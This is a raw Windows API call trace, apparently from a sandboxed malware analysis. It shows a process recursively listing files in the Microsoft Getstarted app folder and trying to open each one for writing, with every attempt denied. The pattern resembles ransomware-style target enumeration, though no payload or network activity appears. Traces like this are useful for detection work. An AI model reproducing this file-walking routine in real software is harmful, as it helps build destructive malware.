	[0091.781] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.781] GetLastError () returned 0x5
	[0091.782] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js", dwFileAttributes=0x20) returned 0
	[0091.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.782] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa9b30b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa9b30b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="core.xslt", cAlternateFileName="")) returned 1
	[0091.782] wcscmp (_String1="core.xslt", _String2=".") returned 1
	[0091.782] wcscmp (_String1="core.xslt", _String2="..") returned 1
	[0091.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477fa70
	[0091.782] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.782] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.782] wcscat (in: _Dest=0x477fa70, _Source="core.xslt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt"
	[0091.782] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.xslt")) returned 0x20
	[0091.784] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt", dwFileAttributes=0x20) returned 0
	[0091.784] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.xslt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.784] GetLastError () returned 0x5
	[0091.784] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt", dwFileAttributes=0x20) returned 0
	[0091.784] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.784] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa9b30b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa9b30b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_ltr.css", cAlternateFileName="")) returned 1
	[0091.784] wcscmp (_String1="core_ltr.css", _String2=".") returned 1
	[0091.784] wcscmp (_String1="core_ltr.css", _String2="..") returned 1
	[0091.784] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32998
	[0091.784] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.784] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.784] wcscat (in: _Dest=0x4e32998, _Source="core_ltr.css" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css"
	[0091.784] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core_ltr.css")) returned 0x20
	[0091.784] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css", dwFileAttributes=0x20) returned 0
	[0091.784] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core_ltr.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.785] GetLastError () returned 0x5
	[0091.785] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css", dwFileAttributes=0x20) returned 0
	[0091.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.785] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa9b30b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa9b30b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_rtl.css", cAlternateFileName="")) returned 1
	[0091.785] wcscmp (_String1="core_rtl.css", _String2=".") returned 1
	[0091.785] wcscmp (_String1="core_rtl.css", _String2="..") returned 1
	[0091.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32998
	[0091.785] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.785] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.785] wcscat (in: _Dest=0x4e32998, _Source="core_rtl.css" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css"
	[0091.785] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core_rtl.css")) returned 0x20
	[0091.785] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css", dwFileAttributes=0x20) returned 0
	[0091.785] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core_rtl.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.785] GetLastError () returned 0x5
	[0091.785] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css", dwFileAttributes=0x20) returned 0
	[0091.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.785] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa9b30b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa9b30b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbf4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="directionalnavigation-1.0.0.0.js", cAlternateFileName="")) returned 1
	[0091.785] wcscmp (_String1="directionalnavigation-1.0.0.0.js", _String2=".") returned 1
	[0091.785] wcscmp (_String1="directionalnavigation-1.0.0.0.js", _String2="..") returned 1
	[0091.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x4717288
	[0091.785] wcscpy (in: _Dest=0x4717288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.786] wcscat (in: _Dest=0x4717288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.786] wcscat (in: _Dest=0x4717288, _Source="directionalnavigation-1.0.0.0.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js"
	[0091.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\directionalnavigation-1.0.0.0.js")) returned 0x20
	[0091.789] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js", dwFileAttributes=0x20) returned 0
	[0091.789] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\directionalnavigation-1.0.0.0.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.789] GetLastError () returned 0x5
	[0091.789] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js", dwFileAttributes=0x20) returned 0
	[0091.789] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717288) returned 1
	[0091.789] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78f63a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1
	[0091.789] wcscmp (_String1="Images", _String2=".") returned 1
	[0091.789] wcscmp (_String1="Images", _String2="..") returned 1
	[0091.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e113f0
	[0091.789] wcscpy (in: _Dest=0x2e113f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.789] wcscat (in: _Dest=0x2e113f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.789] wcscat (in: _Dest=0x2e113f0, _Source="Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images"
	[0091.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477eb90
	[0091.789] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images"
	[0091.789] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\"
	[0091.790] wcscat (in: _Dest=0x477eb90, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\*"
	[0091.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030f10
	[0091.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\*", lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78f63a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0091.790] wcscmp (_String1=".", _String2=".") returned 0
	[0091.790] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78f63a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.790] wcscmp (_String1="..", _String2=".") returned 1
	[0091.790] wcscmp (_String1="..", _String2="..") returned 0
	[0091.790] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fac1569, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x916, dwReserved0=0x0, dwReserved1=0x0, cFileName="playbutton-rollover.png", cAlternateFileName="")) returned 1
	[0091.790] wcscmp (_String1="playbutton-rollover.png", _String2=".") returned 1
	[0091.790] wcscmp (_String1="playbutton-rollover.png", _String2="..") returned 1
	[0091.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5028320
	[0091.790] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images"
	[0091.790] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\"
	[0091.790] wcscat (in: _Dest=0x5028320, _Source="playbutton-rollover.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png"
	[0091.790] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\images\\playbutton-rollover.png")) returned 0x20
	[0091.792] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png", dwFileAttributes=0x20) returned 0
	[0091.793] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\images\\playbutton-rollover.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.793] GetLastError () returned 0x5
	[0091.793] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png", dwFileAttributes=0x20) returned 0
	[0091.793] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028320) returned 1
	[0091.793] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa9b30b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa9b30b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="playbutton.png", cAlternateFileName="")) returned 1
	[0091.793] wcscmp (_String1="playbutton.png", _String2=".") returned 1
	[0091.793] wcscmp (_String1="playbutton.png", _String2="..") returned 1
	[0091.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491b268
	[0091.793] wcscpy (in: _Dest=0x491b268, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images"
	[0091.793] wcscat (in: _Dest=0x491b268, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\"
	[0091.793] wcscat (in: _Dest=0x491b268, _Source="playbutton.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png"
	[0091.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\images\\playbutton.png")) returned 0x20
	[0091.793] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png", dwFileAttributes=0x20) returned 0
	[0091.793] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\images\\playbutton.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.793] GetLastError () returned 0x5
	[0091.793] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png", dwFileAttributes=0x20) returned 0
	[0091.793] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b268) returned 1
	[0091.793] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa9b30b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa9b30b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="playbutton.png", cAlternateFileName="")) returned 0
	[0091.794] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0091.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030f10) returned 1
	[0091.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e113f0) returned 1
